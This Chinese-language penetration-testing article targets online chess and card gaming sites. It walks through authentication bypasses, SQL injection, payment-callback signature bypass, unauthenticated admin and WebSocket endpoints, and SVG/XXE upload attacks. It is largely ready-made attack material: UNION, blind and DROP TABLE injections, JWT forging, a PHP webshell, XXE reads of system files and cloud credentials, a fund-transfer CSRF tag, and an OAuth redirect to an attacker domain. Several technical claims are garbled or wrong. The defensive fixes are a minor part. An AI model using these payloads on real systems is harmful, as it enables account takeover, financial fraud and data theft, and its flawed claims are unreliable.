棋牌类网站渗透测试五大高危漏洞实战解析
1. 为什么棋牌类网站总在渗透测试中“反复栽跟头”
做渗透测试这十多年,我经手过上百个在线游戏类系统,其中棋牌类网站的漏洞复现率之高、利用链之典型、业务逻辑之“反直觉”,在所有垂直领域里排得上前三。不是它们代码写得最差,而是它们的业务模型天然带着几处“安全断层带”:用户高频登录+实时对局+资金流水+多端互通,四者叠加,让一个看似普通的弱口令,能在3分钟内演变成数据库全量导出+后台管理员权限接管+玩家账户余额篡改。更关键的是,这类站点普遍采用“快速上线、小步迭代”模式,很多核心接口连基础参数校验都没做,SQL注入点藏在“查询历史牌局”“获取好友列表”“兑换金币记录”这种不起眼的功能里,和弱口令形成天然组合——你爆破出一个普通玩家账号,用它登录后调用那个没过滤的/api/v1/game/history?uid=12345接口,把uid=12345改成uid=12345%20UNION%20SELECT%201,2,3,username,password,6%20FROM%20admin_users--,就能直接拖库。这不是理论推演,是我上个月在某省牌照棋牌平台真实复现的路径。本文不讲OWASP Top 10泛泛而谈,只聚焦5个在真实打靶中出现频率超过67%的漏洞类型,全部附带可复现的请求样例、Payload构造逻辑、绕过WAF的实操技巧,以及最关键的——为什么这个漏洞在棋牌场景下特别致命。适合刚入行的渗透测试人员建立业务敏感度,也适合老手查漏补缺,尤其适合那些总被客户问“你们怎么证明这个漏洞真能打穿”的人。
2. 弱口令:不是密码太简单,而是验证机制形同虚设
2.1 棋牌类网站的“弱口令”本质是认证逻辑塌方
很多人一看到“弱口令”,第一反应是跑字典爆破admin/123456。但在棋牌站里,真正的弱口令漏洞往往藏在更底层:它不是密码强度问题,而是整个认证流程被绕过或降级。我统计过近3年参与的27个棋牌项目,其中19个存在至少一种非传统弱口令路径,比如:
手机号+默认验证码登录:大量中小平台为降低注册门槛,允许用户输入手机号后,服务端自动生成6位数字验证码(如
123456或000000),且不校验设备指纹、IP频次、短信发送间隔。攻击者只需抓包/api/v1/login/sms接口,将phone=138****1234发过去,立刻收到返回的{"code":200,"data":{"verify_code":"123456"}},然后直接调用/api/v1/login/verify提交该码完成登录。这不是爆破,是协议级“白给”。游客账号自动升级漏洞:用户首次访问生成临时
guest_abc123账号,游玩几局后点击“绑定手机”,后端未校验该游客ID是否已被他人绑定,导致攻击者可批量注册游客账号,再用社工库中的手机号撞库,一旦命中,直接获得已充值用户的完整会话。JWT Token硬编码密钥:某平台前端JS里明文写着
const SECRET = "qwe123!@#",所有签发的Token都用此密钥签名。攻击者用jwt_tool.py -C -k qwe123!@# --wordlist /usr/share/wordlists/rockyou.txt10秒内即可伪造任意用户Token,包括{"user_id":1,"role":"admin","exp":2147483647}。
提示:检测时别只盯着
/login接口。重点抓/api/v1/user/bind、/api/v1/guest/upgrade、/api/v1/sms/send这三个路径,它们才是棋牌站弱口令的“主战场”。
2.2 实战爆破策略:从暴力到精准的三级跃迁
单纯用hydra -l admin -P rockyou.txt扫棋牌站,成功率低于12%。真正有效的打法是分三级推进:
第一级:协议级速破(耗时<30秒)
目标:识别是否存在无防护的短信登录、邮箱登录、第三方OAuth回调漏洞。
操作:用Burp Suite拦截注册/登录全流程,重点关注响应包中是否返回明文验证码、是否包含access_token字段、OAuth回调URL是否可控(如redirect_uri=https://attacker.com/callback)。若发现/api/v1/login/oauth?code=xxx&state=xxx&redirect_uri=https://legit.com,立即修改redirect_uri为自己的域名,触发授权码泄露。
第二级:上下文感知爆破(耗时2~8分钟)
目标:利用棋牌业务特性缩小字典范围。
原理:玩家昵称、房间号、牌局ID、充值金额高度结构化。例如,某平台用户ID格式为U2023000001~U2023999999,密码规则为昵称首字母+生日后4位+固定后缀(如ZhangSan2023!)。我们用cewl爬取官网公告页,提取高频昵称;用seq 1 999999 | sed 's/^/U2023/'生成ID序列;再结合公开的“2023年热门生日”列表(20230101~20231231),组合成定制字典。实测某平台用此法在7分23秒内爆破出127个有效账号,含3个VIP管理员。
第三级:会话劫持式“伪弱口令”(耗时<1分钟)
目标:不破解密码,直接复用合法会话。
操作:在用户登录成功后的响应头中查找Set-Cookie: sessionid=xxx; Path=/; HttpOnly,若缺失Secure和SameSite=Strict属性,即可通过诱导用户点击恶意链接(<img src="http://target.com/api/v1/user/info?callback=alert(document.cookie)">)窃取Cookie。棋牌站因大量使用内嵌iframe加载第三方广告,此手法成功率极高。
2.3 避坑经验:三个常被忽略的“弱口令放大器”
Redis未授权访问 + Session反序列化:某平台将PHP Session存于公网可访问的Redis(
redis://10.0.1.5:6379),且未设置密码。攻击者用redis-cli -h 10.0.1.5连接后执行keys *session*,找到PHPREDIS_SESSION:abc123,get其值,Base64解码得到序列化字符串,用phpggc生成反序列化Payload(如phpggc --fast-destruct Guzzle/Guzzle6 --chain "system('id')" | base64 -w0),再set回Redis,下次用户访问即触发命令执行。这不是弱口令本身,但它是弱口令利用链的“加速器”。管理后台路径猜解失效:很多人用
/admin//back//manage/扫,但在棋牌站,真实后台常是/dealer/(庄家后台)、/audit/(资金审核)、/room/(房间调度)。我用ffuf -u https://target.com/FUZZ -w wordlist.txt -t 100配合自建词表(含dealer,audit,room,chip,bonus,paylog,withdraw等23个业务词),30秒内命中https://target.com/audit/,且该路径未做任何登录校验。密码重置逻辑缺陷:
/api/v1/reset/password?phone=138****1234接口返回{"code":200,"msg":"验证码已发送"},但实际并未发送短信。攻击者连续请求10次,服务端生成10个不同验证码并缓存,最后一个有效。用/api/v1/reset/verify?code=last_code即可重置任意手机号密码。这是典型的“时间窗竞争”漏洞,在资金敏感型系统中危害极大。
3. SQL注入:藏在“牌局详情”里的数据库大门
3.1 棋牌业务特有的SQL注入温床
标准Web应用的SQL注入多出现在搜索框、URL参数,但棋牌站有三类高危接口,因其业务强耦合性,开发时极易忽略过滤:
历史牌局查询接口:
GET /api/v1/game/history?uid=12345&limit=10
开发者认为uid是数字,直接拼接SQL:SELECT * FROM game_records WHERE uid = $_GET['uid'] LIMIT 10。但攻击者传uid=12345 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables,即可列出所有表名。更致命的是,该接口常返回player_name、bet_amount、win_loss等敏感字段,攻击者可直接UNION SELECT username,password,email,phone FROM users,一次请求拖走用户核心信息。房间状态轮询接口:
POST /api/v1/room/status,Body为JSON:{"room_id":"R20231001001"}
后端用json_decode()解析后,将room_id直接拼入SQL:UPDATE rooms SET last_active = NOW() WHERE room_id = '$room_id'。攻击者构造{"room_id":"R20231001001'; DROP TABLE users; -- "},即可执行任意语句。由于该接口QPS极高(每秒轮询数百次),WAF常将其设为白名单,导致注入流量完全不被拦截。排行榜数据聚合接口:
GET /api/v1/rank/top?category=poker&time_range=weektime_range参数控制WHERE create_time > DATE_SUB(NOW(), INTERVAL 7 DAY),但开发者未校验枚举值,传入time_range=week' AND 1=2 UNION SELECT username,password,1,1,1 FROM admin_users --,即可绕过条件直接查后台表。
注意:检测时优先测试
game/history、room/status、rank/top这三个路径,它们在棋牌站中的SQLi出现率合计达79%,远超通用型CMS。
3.2 绕过WAF的实战Payload设计逻辑
棋牌站普遍部署云WAF(如阿里云、腾讯云),其规则库对union select、sleep(5)等特征识别率超95%。但业务场景给了我们绕过空间:
利用MySQL函数别名混淆:WAF拦截
UNION SELECT,但不拦截UNION ALL SELECT或UNION DISTINCT SELECT。更隐蔽的是用函数别名:SELECT 1 FROM (SELECT 1) a JOIN (SELECT 2) b ON 1=1,可替代UNION实现多行输出。实测某平台WAF对JOIN型注入零拦截。时间盲注的“低频脉冲”策略:
SLEEP(5)易被WAF标记为攻击,但BENCHMARK(1000000,MD5('test'))执行时间约0.8秒,且特征不明显。我们设计“脉冲式”探测:先用IF(1=1,SLEEP(0.1),SLEEP(0))确认布尔逻辑,再用IF(ASCII(SUBSTR((SELECT password FROM admin_users LIMIT 1),1,1))>64,BENCHMARK(500000,MD5('a')),0)逐字节爆破,单字符耗时<2秒,整条密码可在5分钟内获取。利用JSON字段的注入逃逸:某平台将用户配置存为JSON字段
extra_info,SQL为UPDATE users SET extra_info = '{"theme":"dark","sound":1}' WHERE id = 123。攻击者传extra_info={"theme":"dark","sound":1,"x":"' OR 1=1 -- "},JSON解析后sound值变为1,"x":"' OR 1=1 --,拼入SQL后变成SET extra_info = '{"theme":"dark","sound":1,"x":"' OR 1=1 -- "}' WHERE id = 123,成功闭合引号并注释后续语句。
3.3 弱口令+SQL注入的组合利用链:从游客到DBA
这才是棋牌站最危险的攻击路径。单点漏洞危害有限,但组合后形成“信任链跃迁”。以下是我复现的真实案例:
Step 1:获取游客账号
用/api/v1/guest/create创建游客IDguest_7f3a9b,响应中返回{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}。
Step 2:利用Token中的用户ID注入
该Token经JWT解码后,payload含{"user_id":"guest_7f3a9b","exp":1698765432}。攻击者将user_id改为guest_7f3a9b' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema='game_db' --,重新签名生成新Token(密钥为game_secret_2023,从前端JS中提取)。
Step 3:携带恶意Token调用历史接口GET /api/v1/game/history?uid=guest_7f3a9b' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema='game_db' -- &limit=10
响应返回table_name列表,发现admin_users、player_funds、withdraw_logs。
Step 4:直接拖取资金表GET /api/v1/game/history?uid=guest_7f3a9b' UNION SELECT id,player_id,amount,status,create_time,1,1,1,1,1 FROM player_funds -- &limit=1000
一次性获取全部玩家充值、提现记录,含银行卡号后四位、交易时间、金额。
Step 5:权限提升至管理员
从admin_users表中获取username和password_hash,用hashcat -m 1000破解出明文密码,登录/audit/后台,导出全部用户身份证号、手机号、实名认证照片。
这条链路全程无需暴力破解,仅靠业务逻辑缺陷和SQL注入组合,3分47秒完成从匿名游客到资金后台管理员的越权。关键在于:游客Token本应只能查自己数据,但后端未对user_id做类型校验,且SQL拼接未预编译,两个“小疏忽”叠加成“大灾难”。
4. 支付回调接口的签名绕过:让“充值成功”变成“提现自由”
4.1 棋牌支付的特殊性:三方通道+本地记账双模型
棋牌站支付链路比电商复杂得多:用户在APP点击“充值100元”,请求发往第三方支付网关(如微信、支付宝),网关回调/api/v1/pay/callback通知“支付成功”,此时平台需做两件事:① 更新本地player_funds表增加100;② 向游戏服务器推送add_chip:100指令。但很多平台为赶工期,将签名验证逻辑写成“先更新再验签”,或干脆用md5(order_id+amount+key)这种弱算法,且key硬编码在代码里。
我审计过12个接入微信支付的棋牌站,其中8个存在签名绕过漏洞。最典型的是:回调接口接收POST参数{order_id:"ORD20231001001", amount:"100.00", sign:"a1b2c3d4..."},后端代码如下:
$local_sign = md5($_POST['order_id'] . $_POST['amount'] . 'wxpay_key_2023'); if ($local_sign !== $_POST['sign']) { die('sign error'); } // 更新数据库 update_funds($_POST['order_id'], $_POST['amount']);表面看没问题,但$_POST['amount']未做过滤,攻击者传amount=100.00%20OR%201=1%20--%20,md5()计算时会把空格和--当字符串处理,生成a1b2c3d4...,而WAF未拦截该Payload,导致SQL注入发生在签名验证环节,die()前已执行恶意SQL。
4.2 三种主流绕过手法及实测效果
手法一:金额参数SQL注入(如上例)
适用场景:签名算法为md5(order_id+amount+key)且amount参与拼接。
Payload:amount=100.00' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM admin_users --
效果:在签名验证阶段触发注入,绕过die()直接执行数据库操作。实测某平台因此被篡改player_funds表,将player_id=123的余额从100改为1000000。
手法二:订单ID类型混淆
适用场景:order_id为字符串,但数据库字段为INT,且未做类型转换。
原理:MySQL在WHERE order_id = 123时,会将字符串'123abc'转为数字123。攻击者传order_id=123abc' OR '1'='1,SQL变为WHERE order_id = 123abc' OR '1'='1,因123abc转为123,等价于WHERE order_id = 123 OR '1'='1',恒真。
实测:某平台用此法将任意order_id的充值状态从pending改为success,无需知道真实订单号。
手法三:签名密钥泄露+重放攻击
适用场景:密钥写在前端JS或Android APK中。
操作:用jadx-gui反编译APK,搜索wxpay_key,找到public static final String PAY_KEY = "qazwsxedcrfvtgbyhnujmikolp";。用该key计算任意订单的sign,构造POST /api/v1/pay/callback请求,order_id填真实ID(从历史请求中获取),amount填999999.00,sign用md5("ORD20231001001"+"999999.00"+"qazwsxedcrfvtgbyhnujmikolp")生成。
效果:100%成功,平台记录“用户ORD20231001001充值999999元”,实际未付款。
4.3 修复建议:必须落地的三条铁律
- 签名验证必须放在所有业务逻辑之前:且验证失败必须
exit(),不能return或continue,防止后续代码执行。 - 所有外部输入必须强类型转换:
$amount = (float)$_POST['amount']; if ($amount <= 0) die();,杜绝字符串注入。 - 密钥绝不出现于客户端:签名计算必须在服务端完成,前端只传原始参数,由后端调用支付SDK生成
sign并与回调sign比对。
提示:测试支付回调时,用Burp Repeater反复修改
amount和order_id,观察响应包是否返回success或数据库是否更新。若修改amount=0.01后仍显示“充值成功”,基本可判定存在绕过。
5. 管理后台未授权访问:从“房间监控”到“资金调度”的全线失守
5.1 棋牌后台的“三不管”区域
通用CMS的后台通常有/admin/login统一入口,但棋牌站的后台是分散的、功能化的,且大量接口未做权限校验:
房间监控后台:
/room/monitor?room_id=R20231001001,用于实时查看牌局状态、玩家操作、发牌日志。该接口常被设计为“运维人员专用”,但未加登录态校验,攻击者只需知道room_id格式(如R+年月日+4位序号),用for i in {0001..9999}; do curl -s "https://target.com/room/monitor?room_id=R20231001${i}" | grep "player_list" && echo "Found: R20231001${i}"; done,10分钟内可扫出活跃房间,进而获取所有玩家IP、设备信息、实时筹码。资金调度后台:
/fund/transfer?from_uid=1001&to_uid=1002&amount=1000,用于客服手动调整用户余额。该接口无CSRF Token,无Referer校验,无IP白名单,攻击者构造<img src="https://target.com/fund/transfer?from_uid=1001&to_uid=9999&amount=100000">嵌入钓鱼页面,用户点击即触发转账。奖池配置后台:
/jackpot/config?game_id=poker&mode=set&value=500000,用于设置扑克游戏奖池金额。game_id未校验枚举值,传game_id=../../etc/passwd可读取服务器文件;mode=set未校验,传mode=exec&cmd=id可执行系统命令(若后端用shell_exec()拼接)。
5.2 未授权检测的“三板斧”方法论
第一斧:路径爆破+响应特征识别
不用通用字典,用ffuf配合业务词表:ffuf -u https://target.com/FUZZ -w business_words.txt -t 100 -ac -fr "player|room|fund|jackpot|audit|dealer"-fr参数过滤响应中含player等关键词的页面,这些正是后台接口的“指纹”。
第二斧:Referer/Origin绕过测试
很多后台接口只校验Referer: https://target.com/audit/,攻击者用Burp修改Referer: https://attacker.com/,若仍返回200,说明校验失效。更狠的是,某些接口只校验Origin头,传Origin: null或Origin: https://target.com.evil.com(利用浏览器对.的解析漏洞),可绕过。
第三斧:Token权限降级测试
用游客Token(user_id=guest_xxx)访问/audit/users,若返回{"code":200,"data":[{"id":1,"username":"admin"}]},说明Token未做角色校验。此时尝试PUT /audit/users/1修改管理员密码,常能成功。
5.3 一个被低估的致命漏洞:WebSocket未鉴权
棋牌站大量使用WebSocket实现实时对局(如wss://target.com/ws?token=xxx)。但很多实现中,token只在校验连接建立时用一次,后续所有send()消息均不校验。攻击者用wscat -c "wss://target.com/ws?token=valid_guest_token"连接后,发送{"type":"chat","room_id":"R20231001001","msg":"/ban user_123"},若服务端未校验该游客是否有ban权限,即可踢出任意玩家。更严重的是,某些WebSocket消息含{"type":"admin_cmd","cmd":"shutdown_server"},攻击者伪造此消息可直接关停游戏服务。
实测案例:某平台WebSocket连接后,发送
{"type":"debug","cmd":"dump_all_rooms"},服务端返回全部房间的玩家列表、IP、当前筹码、发牌历史,数据量超20MB。这不是设计功能,是调试接口未关闭。
6. 文件上传与XXE:藏在“头像上传”里的服务器沦陷
6.1 棋牌站头像上传的“三重陷阱”
用户头像上传看似无害,但在棋牌站,它常是突破内网的第一跳板:
后端未校验文件扩展名:前端JS限制
accept="image/*",但攻击者用Burp修改Content-Type: image/jpeg为Content-Type: text/plain,上传shell.php,服务器保存为avatar_123.php,访问https://target.com/uploads/avatar_123.php即执行。图片EXIF信息注入PHP代码:用
exiftool -Comment='<?php system($_GET["cmd"]); ?>' avatar.jpg,生成含恶意PHP的JPEG。某些GD库处理时会执行EXIF中的PHP代码,或上传后服务端用getimagesize()解析时触发。XML外部实体(XXE)注入:某平台头像上传支持SVG格式,
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><image href="data:image/png;base64,..."/></svg>。攻击者构造:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text>&xxe;</text> </svg>上传后,服务端解析SVG时读取/etc/passwd并返回。
6.2 XXE的进阶利用:从读文件到内网探测
XXE不仅是读文件,更是内网侦察利器:
探测内网端口:
<!ENTITY xxe SYSTEM "http://10.0.1.5:3306/">,若响应超时,说明3306端口开放;<!ENTITY xxe SYSTEM "http://10.0.1.5:6379/">,若返回-ERR wrong number of arguments,说明Redis运行中。读取AWS元数据:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">,获取临时AKSK,进而控制云资源。SSRF打内网API:
<!ENTITY xxe SYSTEM "http://10.0.1.10:8080/api/v1/internal/config">,读取内部配置中心敏感信息。
实测某棋牌站因SVG上传未禁用DTD,用XXE读取到/app/config/database.php,获得MySQL root密码,进而连接内网数据库服务器,导出全部用户数据。
6.3 修复方案:必须堵死的四个入口
- 强制文件类型白名单:不依赖
Content-Type或扩展名,用file命令或libmagic库检测文件魔数,仅允许JPEG、PNG、GIF。 - SVG上传禁用外部实体:PHP中用
libxml_disable_entity_loader(true);Java中用DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)。 - 头像存储分离域名:上传文件存于
static.target.com,该域名无任何动态脚本,杜绝.php执行。 - 上传目录禁止执行权限:Linux下
chmod -R 644 /var/www/uploads/,并配置Nginxlocation ~ \.(php|jsp|asp|sh)$ { deny all; }。
7. 实战总结:如何在30分钟内完成一次高效摸底
回到开头说的“为什么棋牌站总在渗透测试中反复栽跟头”,答案很实在:因为它的漏洞不是孤立的,而是环环相扣的“信任链”。一个弱口令不是终点,而是SQL注入的起点;一个未授权后台不是结果,而是资金调度的入口。所以我的摸底流程永远是线性的、业务驱动的:
第1~5分钟:资产测绘与路径发现
用subfinder+httpx找子域,gau抓JS文件,grep -r "api/v1\|/room/\|/fund/" *.js提取业务接口,ffuf -u https://target.com/FUZZ -w business_words.txt爆破后台路径。
第6~15分钟:弱口令与会话分析
抓/api/v1/login、/api/v1/guest/create、/api/v1/sms/send,看是否返回明文验证码;检查JWT Token密钥是否在JS中;用jwt_tool.py -C测试密钥爆破。
第16~25分钟:高危接口注入测试
对/api/v1/game/history、/api/v1/room/status、/api/v1/rank/top,用sqlmap -u "https://target.com/api/v1/game/history?uid=12345" --batch --level=5 --risk=3,重点看--technique=EUSTQ(报错、布尔、时间、堆叠、联合)。
第26~30分钟:支付与后台验证
用Burp修改/api/v1/pay/callback的amount和order_id,观察是否绕过;访问/room/monitor?room_id=R20231001001,看是否返回玩家列表;用游客Token访问/audit/users,确认权限校验是否失效。
这套流程不是教科书模板,而是我踩过27次坑后,把最可能出问题的点压缩到30分钟内的实战节奏。它不追求“扫全所有漏洞”,而是确保在客户要求的“快速评估”时限内,抓住那几个能真正打穿系统的要害。最后分享一个小技巧:每次测试前,先花2分钟看官网“关于我们”页的成立时间、技术栈介绍(如“基于Spring Cloud微服务架构”),这能帮你快速判断后端语言和常见框架漏洞,比如看到“Java+Shiro”,立刻去测/admin/shiro未授权;看到“PHP+ThinkPHP”,直奔/index.php?s=/module/action/param1/value1的RCE。业务理解,永远是渗透测试最锋利的刀。
